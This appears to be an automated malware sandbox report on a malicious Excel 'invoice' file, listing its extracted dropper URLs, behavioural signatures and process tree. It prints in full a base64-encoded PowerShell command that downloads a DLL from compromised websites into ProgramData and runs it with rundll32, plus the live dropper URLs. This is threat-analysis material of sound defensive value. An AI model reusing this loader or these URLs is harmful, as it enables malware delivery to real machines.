Overview

overview

10

Static

static

8

Fattura N ...22.xls

windows7_x64

10

Fattura N ...22.xls

windows10-2004_x64

8

Analysis

  • max time kernel
    111s
  • max time network
    44s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    03/02/2022, 12:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Fattura N 000011-19 WSO 03-02-2022.xls
  • Size 150KB
  • Sample220203-pncd5ahaf3
  • SHA256 056461d4fc48b5b8ddfa2d485a05ae70e24b450765d9b3ca8e08dce0e1c785da
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://actividades.laforetlanguages.com/wp-admin/BlkdOKDXL/
  • exe.dropper

    http://sbcopylive.com.br/rjuz/w/
  • exe.dropper

    https://trasix.com/wp-admin/y5Aa1jt0Sp2Qk/
  • exe.dropper

    https://www.parkinsons.co.in/abc/Y6Y0fTbUEg6/
  • exe.dropper

    https://biz.merlin.ua/wp-admin/W6agtFSRZGt371dV/
  • exe.dropper

    http://bruckevn.site/3yztzzvh/nmY4wZfbYL/
  • exe.dropper

    https://pardiskood.com/wp-content/NR/
  • exe.dropper

    https://daujimaharajmandir.org/wp-includes/63De/
  • exe.dropper

    https://datasits.com/wp-includes/Zkj4QO/
  • exe.dropper

    https://anugerahmasinternasional.co.id/wp-admin/SJbxE5I/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Fattura N 000011-19 WSO 03-02-2022.xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1168
    • C:\Windows\SysWOW64\wscript.exe
      wscript c:\programdata\wetidjks.vbs
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1576
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\programdata\jledshf.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:316
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABnAGoAcwBlAGIAbgBnAHUAawBpAHcAdQBnADMAawB3AGoAZAA9ACIAaAB0AHQAcAA6AC8ALwBhAGMAdABpAHYAaQBkAGEAZABlAHMALgBsAGEAZgBvAHIAZQB0AGwAYQBuAGcAdQBhAGcAZQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBCAGwAawBkAE8ASwBEAFgATAAvACwAaAB0AHQAcAA6AC8ALwBzAGIAYwBvAHAAeQBsAGkAdgBlAC4AYwBvAG0ALgBiAHIALwByAGoAdQB6AC8AdwAvACwAaAB0AHQAcABzADoALwAvAHQAcgBhAHMAaQB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB5ADUAQQBhADEAagB0ADAAUwBwADIAUQBrAC8ALABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBwAGEAcgBrAGkAbgBzAG8AbgBzAC4AYwBvAC4AaQBuAC8AYQBiAGMALwBZADYAWQAwAGYAVABiAFUARQBnADYALwAsAGgAdAB0AHAAcwA6AC8ALwBiAGkAegAuAG0AZQByAGwAaQBuAC4AdQBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwA2AGEAZwB0AEYAUwBSAFoARwB0ADMANwAxAGQAVgAvACwAaAB0AHQAcAA6AC8ALwBiAHIAdQBjAGsAZQB2AG4ALgBzAGkAdABlAC8AMwB5AHoAdAB6AHoAdgBoAC8AbgBtAFkANAB3AFoAZgBiAFkATAAvACwAaAB0AHQAcABzADoALwAvAHAAYQByAGQAaQBzAGsAbwBvAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBOAFIALwAsAGgAdAB0AHAAcwA6AC8ALwBkAGEAdQBqAGkAbQBhAGgAYQByAGEAagBtAGEAbgBkAGkAcgAuAG8AcgBnAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANgAzAEQAZQAvACwAaAB0AHQAcABzADoALwAvAGQAYQB0AGEAcwBpAHQAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AWgBrAGoANABRAE8ALwAsAGgAdAB0AHAAcwA6AC8ALwBhAG4AdQBnAGUAcgBhAGgAbQBhAHMAaQBuAHQAZQByAG4AYQBzAGkAbwBuAGEAbAAuAGMAbwAuAGkAZAAvAHcAcAAtAGEAZABtAGkAbgAvAFMASgBiAHgARQA1AEkALwAsAGgAdAB0AHAAcwA6AC8ALwBhAHQAbQBlAGQAaQBjAC4AYwBsAC8AcwBpAHMAdABlAG0AYQBzAC8AMwBaAGIAcwBVAEEAVQAvACwAaAB0AHQAcABzADoALwAvAGEAbgB3AGEAcgBhAGwAYgBhAHMAYQB0AGUAZQBuAC4AYwBvAG0ALwBGAG8AeAAtAEMANAAwADQALwBtAEQASABrAGYAZwBlAGIATQBSAHoAbQBHAEsAQgB5AC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABoAGsAbAB3AFIASABKAFMAZQA0AGgAIABpAG4AIAAkAGcAagBzAGUAYgBuAGcAdQBrAGkAdwB1AGcAMwBrAHcAagBkACkAewAkAEoAcwAzAGgAbABzAGsAZABjAGYAawA9ACIAdgBiAGsAdwBrACIAOwAkAHMAZABlAHcASABTAHcAMwBnAGsAagBzAGQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJABKAHMAMwBoAGwAcwBrAGQAYwBmAGsAKwAiAC4AZABsAGwAIgA7AGkATgB2AE8AawBlAC0AdwBFAGIAcgBlAFEAdQBlAHMAVAAgAC0AdQBSAGkAIAAkAGgAawBsAHcAUgBIAEoAUwBlADQAaAAgAC0AbwB1AFQAZgBpAEwAZQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAA7AGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1220
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:436
        • \??\c:\windows\syswow64\rundll32.exe
          c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
          4⤵
            PID:1132

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1168-56-0x0000000075601000-0x0000000075603000-memory.dmp
          Download

          memory/1168-53-0x000000002F2C1000-0x000000002F2C4000-memory.dmp
          Download

          memory/1168-57-0x0000000005DA0000-0x0000000005EB0000-memory.dmp
          Download

          memory/1168-59-0x0000000000550000-0x00000000005F6000-memory.dmp
          Download

          memory/1168-58-0x0000000000550000-0x00000000005F6000-memory.dmp
          Download

          memory/1168-60-0x0000000000550000-0x00000000005F6000-memory.dmp
          Download

          memory/1168-61-0x0000000000550000-0x00000000005F6000-memory.dmp
          Download

          memory/1168-55-0x000000005FFF0000-0x0000000060000000-memory.dmp
          Download

          memory/1168-54-0x0000000071011000-0x0000000071013000-memory.dmp
          Download

          memory/1168-70-0x000000005FFF0000-0x0000000060000000-memory.dmp
          Download

          memory/1220-68-0x00000000024B0000-0x00000000030FA000-memory.dmp
          Download